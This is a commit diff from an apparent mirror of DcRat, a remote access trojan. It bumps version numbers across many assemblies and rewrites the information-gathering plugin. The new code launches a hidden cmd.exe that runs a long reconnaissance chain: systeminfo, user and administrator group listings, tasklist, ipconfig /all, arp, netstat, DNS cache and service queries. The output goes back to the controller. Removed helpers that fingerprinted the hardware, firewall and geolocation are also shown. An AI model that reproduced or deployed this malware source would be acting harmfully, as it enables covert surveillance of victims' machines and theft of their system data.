mirror of https://github.com/qwqdanchun/DcRat.git
Information
This commit is contained in:
parent
ce880d6399
commit
7e1d727055
|
@ -31,5 +31,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -13,7 +13,7 @@ namespace Client
|
|||
#if DEBUG
|
||||
public static string Por_ts = "8848";
|
||||
public static string Hos_ts = "127.0.0.1";
|
||||
public static string Ver_sion = "1.0.0";
|
||||
public static string Ver_sion = "1.0.1";
|
||||
public static string In_stall = "false";
|
||||
public static string Install_Folder = "AppData";
|
||||
public static string Install_File = "Test.exe";
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<assemblyIdentity version="1.0.1.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
|
|
|
@ -31,5 +31,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
|
||||
//通过使用 "*",如下所示:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -31,5 +31,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -1,92 +0,0 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Net;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using static Plugin.SystemHelper;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class DevicesHelper
|
||||
{
|
||||
|
||||
public static string GetCpuName()
|
||||
{
|
||||
try
|
||||
{
|
||||
string cpuName = string.Empty;
|
||||
string query = "SELECT * FROM Win32_Processor";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
cpuName += mObject["Name"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
cpuName = StringHelper.RemoveLastChars(cpuName);
|
||||
|
||||
return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
public static int GetTotalRamAmount()
|
||||
{
|
||||
try
|
||||
{
|
||||
int installedRAM = 0;
|
||||
string query = "Select * From Win32_ComputerSystem";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
|
||||
installedRAM = (int)(bytes / 1048576);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return installedRAM;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetGpuName()
|
||||
{
|
||||
try
|
||||
{
|
||||
string gpuName = string.Empty;
|
||||
string query = "SELECT * FROM Win32_DisplayConfiguration";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
gpuName += mObject["Description"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
gpuName = StringHelper.RemoveLastChars(gpuName);
|
||||
|
||||
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,226 +0,0 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Runtime.Serialization;
|
||||
using System.Runtime.Serialization.Json;
|
||||
using System.Text;
|
||||
using System.Xml;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
|
||||
public static class GeoLocationHelper
|
||||
{
|
||||
[DataContract]
|
||||
public class GeoInformation
|
||||
{
|
||||
[DataMember(Name = "as")]
|
||||
public string As { get; set; }
|
||||
[DataMember(Name = "city")]
|
||||
public string City { get; set; }
|
||||
[DataMember(Name = "country")]
|
||||
public string Country { get; set; }
|
||||
[DataMember(Name = "countryCode")]
|
||||
public string CountryCode { get; set; }
|
||||
[DataMember(Name = "isp")]
|
||||
public string Isp { get; set; }
|
||||
[DataMember(Name = "lat")]
|
||||
public double Lat { get; set; }
|
||||
[DataMember(Name = "lon")]
|
||||
public double Lon { get; set; }
|
||||
[DataMember(Name = "org")]
|
||||
public string Org { get; set; }
|
||||
[DataMember(Name = "query")]
|
||||
public string Ip { get; set; }
|
||||
[DataMember(Name = "region")]
|
||||
public string Region { get; set; }
|
||||
[DataMember(Name = "regionName")]
|
||||
public string RegionName { get; set; }
|
||||
[DataMember(Name = "status")]
|
||||
public string Status { get; set; }
|
||||
[DataMember(Name = "timezone")]
|
||||
public string Timezone { get; set; }
|
||||
[DataMember(Name = "zip")]
|
||||
public string Zip { get; set; }
|
||||
}
|
||||
public static readonly string[] ImageList =
|
||||
{
|
||||
"ad", "ae", "af", "ag", "ai", "al",
|
||||
"am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba",
|
||||
"bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo",
|
||||
"br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc",
|
||||
"cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr",
|
||||
"cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do",
|
||||
"dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et",
|
||||
"europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga",
|
||||
"gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq",
|
||||
"gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht",
|
||||
"hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm",
|
||||
"jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw",
|
||||
"ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu",
|
||||
"lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm",
|
||||
"mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx",
|
||||
"my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np",
|
||||
"nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl",
|
||||
"pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs",
|
||||
"ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh",
|
||||
"si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy",
|
||||
"sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn",
|
||||
"to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy",
|
||||
"uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf",
|
||||
"ws", "ye", "yt", "za", "zm", "zw"
|
||||
};
|
||||
|
||||
public static int ImageIndex { get; set; }
|
||||
public static GeoInformation GeoInfo { get; private set; }
|
||||
public static DateTime LastLocated { get; private set; }
|
||||
public static bool LocationCompleted { get; private set; }
|
||||
|
||||
static GeoLocationHelper()
|
||||
{
|
||||
LastLocated = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc);
|
||||
}
|
||||
|
||||
public static void Initialize()
|
||||
{
|
||||
TimeSpan lastLocateTry = new TimeSpan(DateTime.UtcNow.Ticks - LastLocated.Ticks);
|
||||
|
||||
// last location was 60 minutes ago or last location has not completed
|
||||
if (lastLocateTry.TotalMinutes > 60 || !LocationCompleted)
|
||||
{
|
||||
TryLocate();
|
||||
|
||||
GeoInfo.Ip = (string.IsNullOrEmpty(GeoInfo.Ip)) ? "Unknown" : GeoInfo.Ip;
|
||||
GeoInfo.Country = (string.IsNullOrEmpty(GeoInfo.Country)) ? "Unknown" : GeoInfo.Country;
|
||||
GeoInfo.CountryCode = (string.IsNullOrEmpty(GeoInfo.CountryCode)) ? "-" : GeoInfo.CountryCode;
|
||||
GeoInfo.Region = (string.IsNullOrEmpty(GeoInfo.Region)) ? "Unknown" : GeoInfo.Region;
|
||||
GeoInfo.City = (string.IsNullOrEmpty(GeoInfo.City)) ? "Unknown" : GeoInfo.City;
|
||||
GeoInfo.Timezone = (string.IsNullOrEmpty(GeoInfo.Timezone)) ? "Unknown" : GeoInfo.Timezone;
|
||||
GeoInfo.Isp = (string.IsNullOrEmpty(GeoInfo.Isp)) ? "Unknown" : GeoInfo.Isp;
|
||||
|
||||
ImageIndex = 0;
|
||||
for (int i = 0; i < ImageList.Length; i++)
|
||||
{
|
||||
if (ImageList[i] == GeoInfo.CountryCode.ToLower())
|
||||
{
|
||||
ImageIndex = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (ImageIndex == 0) ImageIndex = 247; // question icon
|
||||
}
|
||||
}
|
||||
|
||||
private static void TryLocate()
|
||||
{
|
||||
LocationCompleted = false;
|
||||
|
||||
try
|
||||
{
|
||||
DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInformation));
|
||||
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://ip-api.com/json/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 10000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
string responseString = reader.ReadToEnd();
|
||||
|
||||
using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString)))
|
||||
{
|
||||
GeoInfo = (GeoInformation)jsonSerializer.ReadObject(ms);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
LastLocated = DateTime.UtcNow;
|
||||
LocationCompleted = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
TryLocateFallback();
|
||||
}
|
||||
}
|
||||
|
||||
private static void TryLocateFallback()
|
||||
{
|
||||
GeoInfo = new GeoInformation();
|
||||
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 10000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
string responseString = reader.ReadToEnd();
|
||||
|
||||
XmlDocument doc = new XmlDocument();
|
||||
doc.LoadXml(responseString);
|
||||
|
||||
GeoInfo.Ip = doc.SelectSingleNode("Response//IP").InnerXml;
|
||||
GeoInfo.Country = doc.SelectSingleNode("Response//CountryName").InnerXml;
|
||||
GeoInfo.CountryCode = doc.SelectSingleNode("Response//CountryCode").InnerXml;
|
||||
GeoInfo.Region = doc.SelectSingleNode("Response//RegionName").InnerXml;
|
||||
GeoInfo.City = doc.SelectSingleNode("Response//City").InnerXml;
|
||||
GeoInfo.Timezone = doc.SelectSingleNode("Response//TimeZone").InnerXml;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
LastLocated = DateTime.UtcNow;
|
||||
LocationCompleted = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
LocationCompleted = false;
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(GeoInfo.Ip))
|
||||
TryGetWanIp();
|
||||
}
|
||||
|
||||
private static void TryGetWanIp()
|
||||
{
|
||||
string wanIp = "-";
|
||||
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://api.ipify.org/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 5000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
wanIp = reader.ReadToEnd();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
|
||||
GeoInfo.Ip = wanIp;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -49,9 +49,6 @@
|
|||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="DevicesHelper.cs" />
|
||||
<Compile Include="SystemHelper.cs" />
|
||||
<Compile Include="GeoLocationHelper.cs" />
|
||||
<Compile Include="Connection.cs" />
|
||||
<Compile Include="Packet.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
|
|
|
@ -25,7 +25,6 @@ namespace Plugin
|
|||
{
|
||||
case "information":
|
||||
{
|
||||
GeoLocationHelper.Initialize();
|
||||
Connection.Send(InformationList());
|
||||
break;
|
||||
}
|
||||
|
@ -46,26 +45,36 @@ namespace Plugin
|
|||
}
|
||||
public static byte[] InformationList()
|
||||
{
|
||||
IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();
|
||||
var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-";
|
||||
var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";
|
||||
string back = execCMD(@"echo ####information collection#### & systeminfo & ver & hostname & net user & net localgroup & net localgroup administrators & net user guest & net user administrator & echo ####task-list#### & tasklist /svc & echo & echo ####net-work information#### & ipconfig/all & route print & arp -a & netstat -an & ipconfig /displaydns & echo ####service#### & sc query type= service state= all");
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "Information";
|
||||
/*msgpack.ForcePathObject("CPU").AsString = DevicesHelper.GetCpuName();
|
||||
msgpack.ForcePathObject("Memory(RAM)").AsString = $"{DevicesHelper.GetTotalRamAmount()} MB";
|
||||
msgpack.ForcePathObject("GPU").AsString = DevicesHelper.GetGpuName();
|
||||
msgpack.ForcePathObject("Domain_Name").AsString = domainName;
|
||||
msgpack.ForcePathObject("Host_Name").AsString = hostName;
|
||||
msgpack.ForcePathObject("System_Drive").AsString = Path.GetPathRoot(Environment.SystemDirectory);
|
||||
msgpack.ForcePathObject("System_Directory").AsString = Environment.SystemDirectory;
|
||||
msgpack.ForcePathObject("Uptime").AsString = SystemHelper.GetUptime();
|
||||
msgpack.ForcePathObject("Firewall").AsString = SystemHelper.GetFirewall();
|
||||
msgpack.ForcePathObject("Time_Zone").AsString = GeoLocationHelper.GeoInfo.Timezone;
|
||||
msgpack.ForcePathObject("ISP").AsString = GeoLocationHelper.GeoInfo.Isp;*/
|
||||
msgpack.ForcePathObject("InforMation").AsString = "CPU: "+DevicesHelper.GetCpuName()+"\n"+ "Memory(RAM): "+$"{DevicesHelper.GetTotalRamAmount()} MB" + "\n" + "GPU: "+ DevicesHelper.GetGpuName() + "\n" + "Domain_Name: "+ domainName + "\n" + "Host_Name: "+ hostName + "\n" + "System_Drive: "+ Path.GetPathRoot(Environment.SystemDirectory) + "\n" + "System_Directory: "+ Environment.SystemDirectory + "\n" + "Uptime: "+ SystemHelper.GetUptime() + "\n" + "Firewall: "+ SystemHelper.GetFirewall() + "\n" + "Time_Zone: "+GeoLocationHelper.GeoInfo.Timezone + "\n" + "ISP: "+GeoLocationHelper.GeoInfo.Isp;
|
||||
msgpack.ForcePathObject("ID").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("InforMation").AsString = back;
|
||||
return msgpack.Encode2Bytes();
|
||||
}
|
||||
|
||||
public static string execCMD(string command)
|
||||
{
|
||||
System.Diagnostics.Process pro = new System.Diagnostics.Process();
|
||||
pro.StartInfo.FileName = "cmd.exe";
|
||||
pro.StartInfo.UseShellExecute = false;
|
||||
pro.StartInfo.RedirectStandardError = true;
|
||||
pro.StartInfo.RedirectStandardInput = true;
|
||||
pro.StartInfo.RedirectStandardOutput = true;
|
||||
pro.StartInfo.CreateNoWindow = true;
|
||||
//pro.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
|
||||
pro.Start();
|
||||
pro.StandardInput.WriteLine(command);
|
||||
pro.StandardInput.WriteLine("exit");
|
||||
pro.StandardInput.AutoFlush = true;
|
||||
//获取cmd窗口的输出信息
|
||||
string output = pro.StandardOutput.ReadToEnd();
|
||||
pro.WaitForExit();//等待程序执行完退出进程
|
||||
pro.Close();
|
||||
return output;
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -1,150 +0,0 @@
|
|||
using System;
|
||||
using System.Management;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Security.Cryptography;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class SystemHelper
|
||||
{
|
||||
public static string GetUptime()
|
||||
{
|
||||
try
|
||||
{
|
||||
string uptime = string.Empty;
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem WHERE Primary='true'"))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
DateTime lastBootUpTime = ManagementDateTimeConverter.ToDateTime(mObject["LastBootUpTime"].ToString());
|
||||
TimeSpan uptimeSpan = TimeSpan.FromTicks((DateTime.Now - lastBootUpTime).Ticks);
|
||||
|
||||
uptime = string.Format("{0}d : {1}h : {2}m : {3}s", uptimeSpan.Days, uptimeSpan.Hours, uptimeSpan.Minutes, uptimeSpan.Seconds);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(uptime))
|
||||
throw new Exception("Getting uptime failed");
|
||||
|
||||
return uptime;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return string.Format("{0}d : {1}h : {2}m : {3}s", 0, 0, 0, 0);
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetAntivirus()
|
||||
{
|
||||
MessageBox.Show("98");
|
||||
try
|
||||
{
|
||||
string antivirusName = string.Empty;
|
||||
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
||||
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
||||
string query = "SELECT * FROM AntivirusProduct";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
antivirusName += mObject["displayName"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
antivirusName = StringHelper.RemoveLastChars(antivirusName);
|
||||
|
||||
return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetFirewall()
|
||||
{
|
||||
try
|
||||
{
|
||||
string firewallName = string.Empty;
|
||||
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
||||
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
||||
string query = "SELECT * FROM FirewallProduct";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
firewallName += mObject["displayName"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
firewallName = StringHelper.RemoveLastChars(firewallName);
|
||||
|
||||
return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
public static class PlatformHelper
|
||||
{
|
||||
|
||||
public static bool VistaOrHigher { get; }
|
||||
|
||||
|
||||
}
|
||||
public static class StringHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets the formatted MAC address.
|
||||
/// </summary>
|
||||
/// <param name="macAddress">The unformatted MAC address.</param>
|
||||
/// <returns>The formatted MAC address.</returns>
|
||||
public static string GetFormattedMacAddress(string macAddress)
|
||||
{
|
||||
return (macAddress.Length != 12)
|
||||
? "00:00:00:00:00:00"
|
||||
: Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Safely removes the last N chars from a string.
|
||||
/// </summary>
|
||||
/// <param name="input">The input string.</param>
|
||||
/// <param name="amount">The amount of last chars to remove (=N).</param>
|
||||
/// <returns>The input string with N removed chars.</returns>
|
||||
public static string RemoveLastChars(string input, int amount = 2)
|
||||
{
|
||||
if (input.Length > amount)
|
||||
input = input.Remove(input.Length - amount);
|
||||
return input;
|
||||
}
|
||||
|
||||
public class SafeRandom
|
||||
{
|
||||
private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create();
|
||||
|
||||
[ThreadStatic]
|
||||
private static Random _random;
|
||||
|
||||
private static Random GetRandom()
|
||||
{
|
||||
if (_random == null)
|
||||
{
|
||||
byte[] buffer = new byte[4];
|
||||
GlobalCryptoProvider.GetBytes(buffer);
|
||||
_random = new Random(BitConverter.ToInt32(buffer, 0));
|
||||
}
|
||||
|
||||
return _random;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
|
|
|
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
|
|||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
